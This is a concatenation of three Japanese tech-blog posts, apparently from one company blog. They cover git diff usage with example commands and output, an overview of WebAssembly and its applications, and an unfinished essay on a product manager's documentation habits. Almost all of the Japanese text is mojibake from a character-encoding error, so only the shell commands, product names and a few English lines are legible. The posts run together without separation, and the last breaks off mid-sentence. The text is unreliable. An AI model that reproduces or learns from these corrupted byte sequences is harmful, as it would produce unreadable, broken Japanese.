ã¯ããã« ããã«ã¡ã¯ãæ°åïŒå¹Žç®ã®TKDSã§ãã ä»åã¯gitã«ã€ããŠèª¿ã¹ãŸããïŒ gitã¯ãã䜿ãããŠãã ããŒãžã§ã³ç®¡çã·ã¹ãã ã§ãèšäºãã芧ã®çããã䜿ã£ãããšãããã®ã§ã¯ãªãã§ããããïŒ ãã®èšäºã§ã¯ãdiffã³ãã³ãã®ã±ãŒã¹å¥ã®äœ¿ãæ¹ã«ã€ããŠå®éã«è©Šããªããã玹ä»ããŸãã ã¯ããã« git diffãšã¯ïŒ æºå addåã®å€æŽã®å·®å ç¹å®ã®ã³ããããšaddåã®å€æŽãšã®å€æŽ ç¹å®ã®ãã©ã³ããšçŸåšã®ãã©ã³ãã®ç¶æ
ã®æ¯èŒ ã³ãããéã®å€æŽ ãã©ã³ãéã®å€æŽ ãŸãšã git diffãšã¯ïŒ gitã«ãããŠã管çããŠãããã¡ã€ã«ã®å€æŽã®å·®åãèŠããã®ãdiffã³ãã³ãã§ãã gitã®æ¥æ¬èªãªãã¡ã¬ã³ã¹ã«ãããšã ã¯ãŒã¯ããªãŒãšã€ã³ããã¯ã¹ãŸãã¯ããªãŒéã®å€æŽãã€ã³ããã¯ã¹ãšããªãŒéã®å€æŽã2ã€ã®ããªãŒéã®å€æŽãããŒãžã«ãã倿Žã2ã€ã® ããã ãªããžã§ã¯ãéã®å€æŽããŸãã¯ãã£ã¹ã¯äžã®2ã€ã®ãã¡ã€ã«éã®å€æŽã衚瀺ããŸãã ãšèšè¿°ãããŠããŸãã ä»åã¯äžéšã®ã±ãŒã¹ã玹ä»ããŸãã æºå ã§ã¯ãå®éã« ãã£ã¬ã¯ã ãªãšãã¡ã€ã«ãäœã£ãŠã³ãã³ãã詊ããŠãããŸãããã ãŸããã³ãã³ãã詊ãããã®æºåãããŸãã $ mkdir git-diff $ cd git-diff $ git init $ touch a.txt $ git add a.txt $ git commit -m " add a.txt " $ git switch -c diff-1 $ echo " change file. " > a.txt ããã§æºåã¯å®äºããŸããã æ¬¡é
ãããã±ãŒã¹ããšã«ã³ãã³ãã玹ä»ããŸãã addåã®å€æŽã®å·®å å³ã®ããã«åçŽã«ãã¡ã€ã«ã倿Žããå Žåã¯ããªãã·ã§ã³ãªãã®diffã³ãã³ãã§å·®åã確èªã§ããŸãã $ git diff 次é
ã®ããã«ã倿Žãåæ ããŠãããŸãããã $ git add -A $ git commit -m " 2. change file. " ç¹å®ã®ã³ããããšaddåã®å€æŽãšã®å€æŽ 次ã¯ã³ããããšdiffã®å·®åãåºããŸãã ãŸã倿Žãå ããŸãã $ echo " 倿Žãšç¹å®ã®ã³ããããæ¯èŒãã " >> a.txt 次ã«ã³ãããã®IDã調ã¹ãŸãã $ git log commit 94d83c65c55c14008ec9af90abbf827ab572cf46 ( HEAD - > diff-1 ) Author: shun.takeda < shun.takeda@rakus.co.jp > Date: Thu Aug 24 23:12:39 2023 + 0900 2 . change file. commit c963cd1fa1f8748eff9ce4a78684fb2d6a0b12ed ( main ) Author: shun.takeda < shun.takeda@rakus.co.jp > Date: Thu Aug 24 22:31:48 2023 + 0900 add a.txt ããããã®ã³ããããšå·®åãæ¯ã¹ãŠã¿ãŸããããã $ git diff 94d83c65c55c14008ec9af90abbf827ab572cf46 diff --git a/a.txt b/a.txt index 9720d84..1e0a356 100644 --- a/a.txt +++ b/a.txt @@ -1 + 1 , 2 @@ change file. +倿Žãšç¹å®ã®ã³ããããæ¯èŒãã $ git diff c963cd1fa1f8748eff9ce4a78684fb2d6a0b12ed diff --git a/a.txt b/a.txt index e69de29..1e0a356 100644 --- a/a.txt +++ b/a.txt @@ -0 , 0 + 1 , 2 @@ +change file. +倿Žãšç¹å®ã®ã³ããããæ¯èŒãã ãã®ããã«ãgit diffã«ã³ãããIDã远èšããããšã§ãç¹å®ã®ã³ããããšã®å·®åãåãããšãã§ããŸãã ä»åãã倿Žã远å ããŠãããŸãããã $ git add -A $ git commit -m " diff-1: change file. " [ diff -1 17b9f12 ] diff-1: change file. 1 file changed, 1 insertion ( + ) ç¹å®ã®ãã©ã³ããšçŸåšã®ãã©ã³ãã®ç¶æ
ã®æ¯èŒ ãã¡ã€ã«ã«å€æŽãå ããŸãã echo " ãã¡ã€ã«ã«å€æŽãå ããŸãã " >> a.txt ã§ã¯mainãã©ã³ããšã®å·®åããšã£ãŠã¿ãŸãããã mainãã©ã³ãã§ã®ãã¡ã€ã«ã®äžèº«ã¯ç©ºã§ãã git diff ã®åŒæ°ã«mainãã©ã³ããæå®ããŸãã $ git diff main diff --git a/a.txt b/a.txt index e69de29..65005f7 100644 --- a/a.txt +++ b/a.txt @@ -0 , 0 + 1 , 3 @@ +change file. +倿Žãšç¹å®ã®ã³ããããæ¯èŒãã +ãã¡ã€ã«ã«å€æŽãå ããŸãã ããã§ãmainãã©ã³ããšã®å·®åãèŠãããšãã§ããŸããã ãŸããaddããå
容ãé€ããŠãä»ãããã©ã³ããšã®å·®åãã¿ããå Žå㯠--staged ãã€ããããšã§ãå·®åã確èªã§ããŸãã git diff --staged main diff --git a/a.txt b/a.txt index e69de29..1e0a356 100644 --- a/a.txt +++ b/a.txt @@ -0 , 0 + 1 , 2 @@ +change file. +倿Žãšç¹å®ã®ã³ããããæ¯èŒãã ä»åãã倿Žã远å ããŠãããŸãããã $ git add -A $ git commit -m " diff-1: change file. " ã³ãããéã®å€æŽ 次ã¯commitãšcommitã®å·®åãæ¯èŒããŸãã diff-1ãã©ã³ãã«æ»ããŸãã $ git switch diff-1 ãã°ãèŠãŠä»ãŸã§ã®ã³ãããå±¥æŽã確èªããŸãã $ git log commit 03bbf93929733a4c59aba01f019f3518dad5757d ( HEAD - > diff-1 ) Author: shun.takeda < shun.takeda@rakus.co.jp > Date: Fri Aug 25 09:35:23 2023 + 0900 diff-1: change file. commit 17b9f127dad5fd9a69d5a0e33deb30cb0e1da8ba Author: shun.takeda < shun.takeda@rakus.co.jp > Date: Fri Aug 25 09:18:38 2023 + 0900 diff-1: change file. commit 94d83c65c55c14008ec9af90abbf827ab572cf46 Author: shun.takeda < shun.takeda@rakus.co.jp > Date: Thu Aug 24 23:12:39 2023 + 0900 2 . change file. commit c963cd1fa1f8748eff9ce4a78684fb2d6a0b12ed ( main ) Author: shun.takeda < shun.takeda@rakus.co.jp > Date: Thu Aug 24 22:31:48 2023 + 0900 add a.txt åŒæ°ã«ã³ãããIDãæå®ããŠå·®åãæ¯èŒããŠã¿ãŸãããã $ git diff 03bbf93929733a4c59aba01f019f3518dad5757d 94d83c65c55c14008ec9af90abbf827ab572cf46 diff --git a/a.txt b/a.txt index 65005f7..9720d84 100644 --- a/a.txt +++ b/a.txt @@ -1 , 3 + 1 @@ change file. -倿Žãšç¹å®ã®ã³ããããæ¯èŒãã -ãã¡ã€ã«ã«å€æŽãå ããŸãã ããã§ãã³ãããéã®å·®åã確èªã§ããŸããã ãã©ã³ãéã®å€æŽ 次ã¯ãã©ã³ãéã®å·®åãæ¯èŒããŸãã mainãã©ã³ãã«äžåºŠæ»ããæ°ããªãã©ã³ããäœæããŸãã $ git switch -c diff-2 æ¬¡ã«æ°ããªãã©ã³ãã§ã倿Žãaddã»commitããŸãã $ echo " 1. å¥ã®ãã©ã³ãã§å€æŽãèšè¿° " >> b.txt $ echo " 2. å¥ã®ãã©ã³ãã§å€æŽãèšè¿° " >> b.txt $ git add -A $ git commit -m " diff-2 ãã¡ã€ã«ã远å " [ diff -2 3c7bdda ] diff-2 ãã¡ã€ã«ã远å 1 file changed, 2 insertions ( + ) create mode 100644 b.txt å
ã®ãã©ã³ãã«æ»ããŸãã $ git switch diff-1 åŒæ°ã«ãã©ã³ãåãæå®ããããšã§ããã©ã³ãéã®å·®åã確èªã§ããŸãã ä»åã¯ãdiff-1ãšdiff-2ã®å·®åã確èªããŠã¿ãŸãããã git diff diff-1 diff-2 diff --git a/a.txt b/a.txt index 65005f7..e69de29 100644 --- a/a.txt +++ b/a.txt @@ -1 , 3 + 0 , 0 @@ -change file. -倿Žãšç¹å®ã®ã³ããããæ¯èŒãã -ãã¡ã€ã«ã«å€æŽãå ããŸãã diff --git a/b.txt b/b.txt new file mode 100644 index 0000000 ..320e7b2 --- /dev/null +++ b/b.txt @@ -0 , 0 + 1 , 2 @@ + 1 . å¥ã®ãã©ã³ãã§å€æŽãèšè¿° + 2 . å¥ã®ãã©ã³ãã§å€æŽãèšè¿° ããã§ãã©ã³ãéã®å·®åã確èªã§ããŸããã ãŸãšã ä»åã®èšäºã§ã¯ãgit diffã§è²ã
ãªå·®åã確èªããŠã¿ãŸãããæ®æ®µãã䜿ã£ãŠããã³ãã³ããããç¥ãæ©äŒã«ãªããŸãããä»ã«ãã³ãã³ãã«ã€ããŠãæ©äŒãããã°èª¿ã¹ãŠã¿ãããšæããŸãã æåŸãŸã§èªãã§ããã ãããããšãããããŸããã
ã¯ããã« æ°å1幎ç®ã®TKDSã§ãïŒ ä»åã¯æšå¹Žç€Ÿå
LTã§çºè¡šããå
容ãããšã«WASMã«ã€ããŠã®æ
å ±ããŸãšããèšäºãæžããŸããã WASMã«ã€ããŠããã€ãã®é
ç®ã«åããŠèšè¿°ããŸãã ã¯ããã« WebAssembly(WASM)ãšã¯ WASMã®ä»çµã¿ : å®è¡ç°å¢ WASMã®ä»çµã¿ : ãªãJSããéãïŒ ãã©ãŠã¶ã§è©Šã WASMã®äºäŸ Google Meetã®èæ¯ãŒãã Amazon Prime Video LibreOffice WebVM Postgres-wasm CRDT(yjs,Ywasm) WasmEdge+Neural Network SPIN ãŸãšã WebAssembly(WASM)ãšã¯ ãŸããWASMã«ã€ããŠãŸãšããŸããã WASMã®ç¹åŸŽã¯æ¬¡ã®éãã§ãã ãã©ãŠã¶ã§åããã€ããªã³ãŒãã®ãã©ãŒãããïŒãã ãããã©ãŠã¶ä»¥å€ã§ãåãïŒ C/C++ ãRustãªã©ã®èšèªã ã³ã³ãã€ã« ãããšãã©ãŠã¶äžã§å®è¡å¯èœ JavaScript ãšäžŠè¡ããŠåäœããããã«èšèšãããŠããããã JavaScript ãšé£æºå¯èœ JavaScript ããåäœãéãïŒå Žåãå€ãïŒ WASMã®ä»çµã¿ : å®è¡ç°å¢ WASMã®å®è¡ç°å¢ã¯ããã©ãŠã¶ãšãã©ãŠã¶å€ã«åããããŸãã ã©ã¡ãã ã³ã³ãã€ã« ããŠçæããWASMã®ãã€ããªãWASM runtimeã§å®è¡ããŸãã ãã©ãŠã¶ã§ã¯ãã©ãŠã¶ã® JavaScript ãšã³ãžã³ãå®è¡ãããã©ãŠã¶å€ã§ã¯ããã©ãŠã¶å€ã§ãå®è¡ã§ããããã«äœãããWASM Runtimeã䜿çšããŸãã WASMã®å®è¡ç°å¢ WASMã®ä»çµã¿ : ãªãJSããéãïŒ è§£èª¬ããã° ããã£ãã®ã§ç°¡åã«å³ãåŒçšããªãã説æããŸãããã®è§£èª¬ããã°ã¯ãã©ãŠã¶ã§ã®äœ¿çšã«ã€ããŠè§£èª¬ããŠããŸããéåžžã JavaScript ãå®è¡ããéãäžå³ïŒããã°ããåŒçšïŒã«ç€ºãããã« ãœãŒã¹ã³ãŒã ã®è§£æ ã³ã³ãã€ã« +æé©å åæé©å å®è¡ ã¬ãŒããŒãžã³ã¬ã¯ã·ã§ã³ ã®5ã€ã®ã¹ããããå¿
èŠãšããŸãã äžæ¹ã§ãWebAssemblyã®å Žåãè§£æã» ã³ã³ãã€ã« ã»å®è¡ã®3ã¹ãããã§æžã¿ãŸãããã®ããã JavaScript ãããé«éã§ãããšèª¬æããŠããŸããã ãã©ãŠã¶ã§è©Šã 次ã«ãã©ãŠã¶ã§WASMãç°¡åã«è©Šãæ¹æ³ã玹ä»ããŸãã MDNã®ãµã€ã ã«èŒã£ãŠããæ¹æ³ã§ãã wasmãã¡ã€ã«ã«ä»¥äžã®å
容ãèšè¿°ããŠã JavaScript ããããŒãããããšã§WASMã䜿çšã§ããŸãã 以äžã®åœ¢åŒã¯WAT圢åŒãšåŒã°ããWASMã人ãèªããããã«ãããã®ã§ãã (module (func $i (import "imports" "imported_func") (param i32)) (func (export "exported_func") i32.const 42 call $i)) ãµã€ãã«èŒã£ãŠããéãã«å®è¡ãããšéçºè
ããŒã«ã®ã³ã³ãœãŒã«ã«42ãåºåãããŠããã®ã確èªã§ããã®ã§ãã²ãã£ãŠã¿ãŠãã ããã WASMã®äºäŸ 次ã«WASMã䜿çšããäºäŸãã©ã€ãã©ãªã«ã€ããŠæ
å ±åéããã®ã§ã玹ä»ããŸãã Google Meetã®èæ¯ãŒãã Google Meetã®èæ¯ãŒããã«ã¯WASMã䜿ãããŠããããã§ãã解説ããã°ã®ãªã³ã¯ã¯ ãã¡ã ã§ãã WebAssembly ãä»ããŠãã©ãŠã¶å
ã§å®è¡MLã¢ãã«ã¯CPUã§åãããŠãããã§ãã äžå³ã¯è§£èª¬ããã°ããåŒçšãããã®ã§ãã å
¥åãããç»åãã察象ãšãªã人以å€ãšèæ¯ãåå²ãããã¹ã¯ãçæãããããããšã«èæ¯ããŒãããããããã§ãã MLã¢ãã«ã®å® è¡åº ç€ã«ãªã£ãŠãã MediaPipe 㯠Google Meetã®ä»ã«ãWasmEdgeã®AI inferenceã§NNã¢ãã«ã®æšè«å®è¡ç°å¢ãšããŠæããããŠããããã¡ã«ã«ãªã®ããã°ã§ãããã¯ãéçºã«äœ¿çšãããŠãã äºäŸ ããããŸããã WASMã§ æ©æ¢°åŠç¿ ã¢ãã«ã䜿çšããéã®1ã€ã®éžæè¢ã«ãªãããã§ãã Amazon Prime Video 解説ããã°ã® ãªã³ã¯ ã§ãã ã¢ããªã±ãŒã·ã§ã³ã®äžéšãWASMã«çœ®æããããšã§ãããã©ãŒãã³ã¹ãå®å®æ§ãCPUæ¶è²»éã倧å¹
ã«åäžããã¡ã¢ãªäœ¿çšéãåæžãããããã§ãã LibreOffice ãªãŒãã³ãœãŒã¹ ãœããã®ãªãã£ã¹ãœããã§ãã Linux ãã¹ã¯ãããã䜿ã£ãããšããã人ã¯äžåºŠã¯äœ¿ã£ãããšãããã®ã§ã¯ãªãã§ããããïŒ LibreOffice ãWebAssemblyã«ç§»æ€ããããšè©Šã¿ãããŠããããã§ãã wasmçã® LibreOffice ã®ãã¢ã® ãªã³ã¯ ã§ããèªã¿èŸŒãã§ããèµ·åãŸã§ã«ãã°ããããããŸãã èµ·åãããšä»¥äžã®ãããªç»é¢ã«ãªããŸãã åºæ¬çãªæäœã¯ã§ããããã§ãããåãããã£ããããŠãããæ¥æ¬èªã䜿çšã§ããªããªã©äœ¿ãã¥ããããããŸãã ããããOfficeãœããããšãã«ã€ã³ã¹ããŒã«ãå¿
èŠãšããåãã®ã¯çŽ æŽããããšæããŸããã buildæé ããã¥ã¡ã³ã github WebVM ãã©ãŠã¶ã§å®è¡ã§ããä»®æ³ã® Linux ç°å¢ã§ãã 玹ä»èšäºã® ãªã³ã¯ ã§ãã ç°¡åã«å
容ãèŠçŽããŸãã VM ã®å®è¡ãšã³ãžã³ã«ã¯CheerpXãšãããã®ã䜿ã£ãŠããŸãã ç¹åŸŽãšããŠä»¥äžã®ç¹ããããŸãã IndexedDBã«ãã¡ã€ã«ã®å€æŽãªã©ãä¿åããŠæ°žç¶åâ倿Žãèªåã®ãã©ãŠã¶ã«ä¿æ ãã¡ã€ã«ã·ã¹ãã ã« Ext2 ãäœ¿çš Linux syscallããšãã¥ã¬ãŒãå¯èœ UIã¯Xterm.js è²ã
ãªããã±ãŒãžãã€ã³ã¹ããŒã«æžã¿ã§ããã䜿çšå¯èœ ãã¢ããŒãžã® ãªã³ã¯ ããããå®è¡ãããšWasmãã¡ã€ã«ãããŠã³ããŒãããŠããŠããã©ãŠã¶ã§å®è¡ãããŸãã èµ·åãããšä»¥äžã®ç»é¢ã衚瀺ãããŸãã ã³ãã³ããªã©ã®å®è¡ãå¯èœã§ãã Postgres-wasm postgresql ã®WASMå®è£
ã§ãã ãã¢ããŒãžã® ãªã³ã¯ ã§ãã èµ·åãããšä»¥äžã®ç»é¢ã衚瀺ããã SQL ãå®è¡å¯èœã§ãã ããŒãã«ã®äœæãããŒã¿ã®è¿œå ã»åé€ã»æ€çŽ¢ãªã©ãã§ããŸãã å°ã SQL ã®åäœã確èªãããæãªã©ã¯äŸ¿å©ããã§ãã CRDT(yjs,Ywasm) å
±åç·šéæ©èœã®ããã®ã©ã€ãã©ãªã§ãã yjs ã®Rustå®è£
ã®y-crdtã®WASM bindingã§ãã ãªã³ã¯ã¯ ãã¡ã ã§ãã ãã©ãŠã¶ã§å
容ãåæããããªã©éãããªåŠçã¯ãŸãã«WASMã®äœ¿ãæãªã®ã§ã¯ãªãã§ããããã WasmEdge+Neural Network Wasm Runtimeã®ã²ãšã€ã§ããWasmEdgeã«ã€ããŠã§ãã WASI-NNã䜿çšããããšã«ãããå€éšã©ã€ãã©ãªãçšããŠã ãã¥ãŒã©ã«ãããã¯ãŒã¯ ã«ããæšè«ãWASMã§å®è¡å¯èœãªããã§ãã ããã¥ã¡ã³ããš ãœãŒã¹ã³ãŒã ãå°ãèªãã æãã§ã¯ãæšè«èªäœã¯å€éšã®ã©ã€ãã©ãªã«ä»»ããŠããããã§ããããã®ãããæšè«ã®ããã©ãŒãã³ã¹ã¯å€éšã©ã€ãã©ãªã«äŸåãããã§ãã ããã¥ã¡ã³ã ã§ã¯ãllama2ãªã©ã®å®è¡(ggml)ãããã®ä»ã®å€éšã©ã€ãã©ãª(Pytorch,OpenVINO,Tensorflow Lite)ã®äœ¿ç𿹿³ãæ²èŒãããŠããŸããã ãµã³ãã«ãããžã§ã¯ã ããããããã£ãã®ã§ããã²ã詊ããã ããã ããã¥ã¡ã³ãã®ãµã³ãã«ã ãšãPytorchããã¯ãšã³ãã®å ŽåãäŸåããlibtorchãcpuçã ã£ãã®ãçåç¹ã§ãã ggmlã®é
ã ãšèªåã§CUDAãæ¢ããšèšè¿°ãããã®ã§ã Please note, the installer from WasmEdge 0.13.5 will detect CUDA automatically. If CUDA is detected, the installer will always attempt to install a CUDA-enabled version of the plug -in. Pytorchã§ãCUDAã«ãã£ãŠ GPU ã䜿çšå¯èœã«ãªãæ¹æ³ãããã®ã§ããããïŒ ãã£ãããªã®ã§ã GPU ã§åããããšNNã®æ§èœãåŒãåºããã®ã§ãããããæ¹ã調ã¹ãŠã¿ããã§ãã SPIN WebAssemblyã䜿çšããŠãã€ã¯ããµãŒãã¹ãæ§ç¯ãã ãã¬ãŒã ã¯ãŒã¯ ã§ãã ãªã³ã¯ã¯ ãã¡ã ã§ãã Wasm runtimeã«ã¯Wasmtimeã䜿çšããŠããããã§ãã ããã¥ã¡ã³ãã« ãã¥ãŒããªã¢ã« ãããã€ããããããåãçµãã§ã¿ããšäœ¿ãæ¹ãããããšæããŸãã ãŸãšã ä»åã¯ãWASMã«ã€ããŠã®æ
å ±ããŸãšããŸããã å人çãªææ³ãšããŠã¯ããã©ãŠã¶å€ã§ã®å©çšã§ããWasmEdge,spinã«èå³ãæã¡ãŸããããããè§Šã£ãŠã¿ãŠãŸãèšäºã«ãããã§ãã èªãã§ããã ããæ¹ããã²WASMã詊ããŠã¿ãŠãã ããã ãããŸã§èªãã§ããã ãããããšãããããŸããã
çãããããã«ã¡ã¯ïŒãããã¯ããã°ãã¯ïŒ 楜楜粟ç®ãããã¯ããããŒãžã£ãŒã® @wekkyyyy ã§ãã ååã¯ã楜楜粟ç®ã®PRD(補åèŠæ±ä»æ§æž) AgendaããšããããŒãã§èšäºãããããŠããã ããŸããã tech-blog.rakus.co.jp ä»åã¯è¶£åãå€ããŠããè³æãäœããšãã«èããŠããããšã ãããã ããã¥ã¡ã³ããŒã·ã§ã³ ã¹ãã«ã«ã€ããŠæžããŠããããšæããŸãã ç®æ¬¡ã¯ä»¥äžãšãªããŸãã 察象èªè
çè
ãã©ããªäººç©ã ãªããããæžããã®ã 泚æç¹ è³æãäœããšãã«èããŠããããš ããŸããããä»äºãšäœæ¥ãåããŠåªå
床ãã€ãã ãããéå§ã1ã€ã®ã¢ãŠããããã3ã¹ãããã§åããŠäœæ¥ãã ã15ç¹çã1ã«éæç¶æ
ã»2ã«éæç¶æ
ã»3ã4ããªããŠ5ã«éæç¶æ
ã15ç¹çãAgendaãšãã£ããå
容ã§ã¹ããŒãªãŒãã€ãã ã30ç¹çãçŽåŸæãã©ããã£ãŠå®çŸããããèãã ç¶ãã¯åŸç·šãž... 察象èªè
ããã¥ã¡ã³ããäœæãã人ã«èª¬æçŸ©åãçºçããæ¹ ç¹ã«ä»¥äžã®ããã¥ã¡ã³ããäœæããæ¹ 課é¡è§£æ±ºã«ãã㊠誰ãã説åŸããããã®è³æ äœããåæããããã®è³æ çè
ãã©ããªäººç©ã 以äžã®éã PjMãããå§ããŠãã ããã¥ã¡ã³ããŒã·ã§ã³ ã®éèŠæ§ãç¥ãããšã«ãªãã ãŽãªãŽãªã«éããŠããããŸããã ïŒåœæã®ååã»å
茩ã»äžåžã«æè¬ã§ãïŒ ã€ã³ãã©ãšã³ãžãã¢(ãããã¯ãŒã¯) 6幎 ãã®ããã¯ãŽãªãŽãªã®ãšã³ãžã㢠PjM/Director 4幎 ããããæ¥åã®ä»çµã¿åã«çæãã ã å
ã³ã³ãµã«ã®åå/äžåžã« ããã¥ã¡ã³ããŒã·ã§ã³ ã«ã€ããŠãããããŸãã æ¯é±åœ¹å¡ã®æéã15åã ããããããã®æéã§èª¬æã»è³ªçå¿çã»åæã§ããªããã°ãããªããªã PdM 4幎 ããã¥ã¡ã³ããŒã·ã§ã³ èœåããªããšãŸã£ããæãç«ããªã圹å²ã«ãªã (äŒç€Ÿã«ãã£ãŠç°ãªããŸããçè
ã¯ãã®ç°å¢ã§ãã) ãªããããæžããã®ã åŒç€Ÿã®shibaãæžããèšäºã 楜楜粟ç®PdMã®ãªã³ããŒãã£ã³ã°ãšå®è·µããããš ãã«ãŠä»¥äžã®èšèŒããããŸããã ãããããã¯ä¿ºã®ããšã ãªãããªããã£ã¡ãç§ã®ç¥èãã¡ãã£ãšå
±æããããã ãšããå®å
šã«äžããç®ç·ã ãŒãã ããŸã ããã§ãã åã§ããæ¬åœã«å匷ã«ãªã£ãŠæé·ã«å¯äžã§ãããªãå
±æããããšæã£ãã ãã§ãã ïŒããäœãèšã£ãŠãç¡é§ãªæ°ãããŠããŸããïŒ ããã°ã«ããã®ã¯ããæ¥œæ¥œç²Ÿç®ã®PdMã¯ããããªããšèããŠä»äºããŠãŸãïŒãããªäººãããŸãïŒã ãšããããšãæªæ¥ã®ååã«å¯ŸããŠããäŒããããã£ãããã§ãã ïŒããã¯ãã©ã¹ã«ããã€ãã¹ã«ããªãåŸãã®ã§ãã¯ãã¯ããŠãŸãïŒ æ³šæç¹ æ¬å
容ã¯ãäžç©ã®ããã¥ã¡ã³ãã«ããŠã¯ãŸããã®ã§ã¯ãªããšèããŠããŸãã ãä»èªåãåãæãã£ãŠãããã®ã«ããããïŒãã¯ããèªèº«ã§ã確èªããé¡ãããããŸã m( )m è³æãäœããšãã«èããŠããããš ããŸããããä»äºãšäœæ¥ãåããŠåªå
床ãã€ãã åºæ¬çã¯ããä»äºãã«ãªããã®ãåªå
床ããããŠè¡ã£ãŠããŸãã æéãããããã®ã§ãããäœæ¥ã¯ä»äºã®åéã«ããªãããšãã§ãããšèããããã§ãã â»ä»äºã»äœæ¥ã®äžã§ãåªå
é äœã¯ããããã¯ã ã€ã³ã㯠ãã ã£ãããäžåžããã®ç·æ¥ã ã£ãããšæ§ã
ãããšæãã®ã§ããèªèº«ã§æäœããŠãã ããã - ä»äºïŒãã®çµæã«ãã£ãŠèª°ãã«äŸ¡å€ãå±ããããã®æŽ»å âãã£ã¡ãé 䜿ãã - äœæ¥ïŒäºåã«å®ããããæç¶ããšãŽãŒã«ã«åããŠè¡ã掻å âããçšåºŠã¯ãè³æ»ã§ã§ããã ãããéå§ã1ã€ã®ã¢ãŠããããã3ã¹ãããã§åããŠäœæ¥ãã 以äžã®4ã¹ãããã«åããŠèããŠããŸãã ããããã®æ®µéã§ã¬ãã¥ãŒã«ãããŸãã 1. 15ç¹çïŒå
šäœã®æµããããªæãç¶æ
ïŒ 2. 30ç¹çïŒäžæŠäœããŸããç¶æ
ïŒ 3. 60ç¹çïŒèŠçŽããŠçæããŸãç¶æ
ïŒ 4. 90ç¹çïŒããã§æåºããŸãç¶æ
ïŒ â»100ç¹ã¯ãæçµåæç¶æ
ãæãã®ã§å²æããŸãã ã15ç¹çã1ã«éæç¶æ
ã»2ã«éæç¶æ
ã»3ã4ããªããŠ5ã«éæç¶æ
ããããåç¹æ°çã§ã®çްãã話ã«ç§»ããŸãã ãšã«ãããã«ããŸãã¯ãéæç¶æ
ãæ±ºããŸãã 誰ãã»ã©ã®ãããªç¶æ
ã«ãªã£ãŠããã°ããã®ä»äºã¯å®éãããã®ãïŒ èªåã®èšèã§ãŸãšããããªãéããåŸç¶ã¯é²ããªããŠãããšèããŠãããããã§ãã ã15ç¹çãAgendaãšãã£ããå
容ã§ã¹ããŒãªãŒãã€ãã æ±ºããéæç¶æ
ã«å¯ŸããŠã以äžãæ€èšãå
šäœã®ã¹ããŒãªãŒãäœæããŸãã ãã©ããªããšã説æã»èšŒæããå¿
èŠããããïŒã ãã©ããªæµãã§èª¬æãããšãããããããïŒã ããã§å®ç§ãªãã®äœãããšã¯ããŠãªãã§ãã ãªãã¹ãå®ç§ã«ã§ãããšããã§ãããããã¥ã¡ã³ããäœããªããå€ããããšãå€ãã§ãã ããããããªããšã¯èª¬æããªããšäŒãããªãããªããããããã®æ°æã¡ã§å€§äžå€«ãšèšãèãããŠãŸãã çè
ããã䜿ãã¹ããŒãªãŒãšããŠã¯ã以äžã§ãã ãã®æµãã§äžèšã®ããšãèããŠãæžãããšãç®æ¡æžãã«ããŠãããŸãã ãã®ã«ãã£ãŠçްããåãããããŸãããèãæ¹ãšããŠåèã«ããŠãã ããã 1. çŸç¶ææ¡ a. çŸç¶ãè§£å床é«ããããããã«ãã 2. 嵿¡ a. ãããã解決æ¡ãåºã 3. è©äŸ¡ a. 解決æ¡ãè©äŸ¡ãã 4. éžæ a. 解決æ¡ãçµã ã30ç¹çãçŽåŸæãã©ããã£ãŠå®çŸããããèãã äžèšã® çŸç¶ææ¡ ã» åµæ¡ ã» è©äŸ¡ ã» éžæ ã«åœãŠã¯ããŠèšèŒããŸãã ããããã®ãã§ãŒãºã§ã®èŠçŽ ãèšèŒããŠãããŸãã ãã¡ããçè
ã®ããèããæèãæžããŠããã ããªã®ã§ã 察å¿ãã課é¡å
容ããã§ã«ææ¡ããŠããæ
å ±ã瀟å
ç¶æ³ã«ãã£ãŠå€åããŸãã®ã§äžäŸãšãããŠãã ããã çŸç¶ææ¡ 宿§ã» å®é ã»ãã ã§ç¶æ³ãææ¡ãã (FactãéèŠïŒïŒ) å®é ããŒã¿ ã·ã¹ãã ãã° DB ã¢ã³ã±ãŒãçµæãªã© 宿§ããŒã¿ ã€ã³ã¿ãã¥ãŒçµæ VoCãªã© 宿§çãªããŒã¿ã å¯èŠå ããäžã§ã å®é æ
å ±ãä»äžãã ãŠãŒã¶ãŒã¹ããŒãªãŒ ãããã³ã° ã»ã«ã¹ã¿ããŒãžã£ãŒããŒããããå©çšããããšãå€ã 誰ã®ç®ç·ãªã®ãïŒãæèãã( MECE æèâ») ããªãïŒããããã§ã©ããªãïŒããç¹°ãè¿ãããšã§ããããã€ãªãã( MECE æèâ») æ°å€ã®å€åããããæèãã(åŸåãèŠããã) 1.2.ã®çµæãã課é¡ç¹ãå¯èŠåã» èšèªå ãã â» MECE ã«ããããã®ãã¯ããã¯ã¯ã以äžåµæ¡éšåããåç
§ãã ããã ãïŒãããŸã§ãã¯ããã¯ã®äžéšãªã®ã§ãä»ã«ã調ã¹ãŠã¿ããšãããšæããŸããïŒ åµæ¡ çŸç¶ææ¡ã§å¯èŠåã» èšèªå ãã課é¡ã«å¯ŸããŠåãåŸãçãæŽãåºã What/Howãããžãã¯ããªãŒã§æŽãåºã WhatãšHowã®ããžãã¯ããªãŒãåãã( MECE æè) ãŸãåœããåã®çããèãã åœããåã®å¯Ÿæ¥µãèãã ãããšãã以å€ãèãã ãã¢ã«ãªããã®ãèãã å æ°åè§£ ããçµæãèãã åè£ãããã®ãããANDããªã®ããORããªã®ãæç¢ºã«ãã è©äŸ¡ æŒãã®ãªãè©äŸ¡é
ç®ããŸãäœã( MECE æè) è©äŸ¡é
ç®ã«ãŠã§ã€ããã€ããã«ãŒã«(æ¡ä»¶)ãèãã(æ¡ä»¶èšå®æ³ãšãèšã) å¿
èŠãªãè©äŸ¡é
ç®ã¯åŸã§æ¶ããããããªãã®ã§ãã©ããéèŠãªã®ãæç€ºã§ããããã«ãã è©äŸ¡é
ç®å
ã®åªå£ã®åºæºãæç¢ºã«ãã ãããæ¹åæ§ã«å¯ŸããŠã®åºæºãåãããã«ãã çè
ããã䜿ãã®ã¯5 or 10段éã®ãã€ã³ãå¶ ã©ã®ç¶æ
ãã©ã®ãã€ã³ããªã®ããæç¢ºã«ãã(絶察éãªãåããããªç¶æ
ã«ããªã) éžæ è€æ°æ¡åºãããã«ãã ãã®æç¹ã§ã¯ãåãç¹æ°ã«ãªãããšãå€ããšæããŸãã (ãã®å Žåè©äŸ¡é
ç®ãè¶³ããŠããªãã®ã ãšæããŸã) ã§ããããã®ãŸãŸé¢ä¿è
å«ãéžæããåŸåŠãšããŠéžæããéã®å€æåºæºã確èªããããã«ããŸãããã ä»®ã«åãç¹æ°ãããªããšããŠããXXãéèŠèŠãããªãããç è¿·ãéšåã¯ãããšæããŸãã (ãããè©äŸ¡é
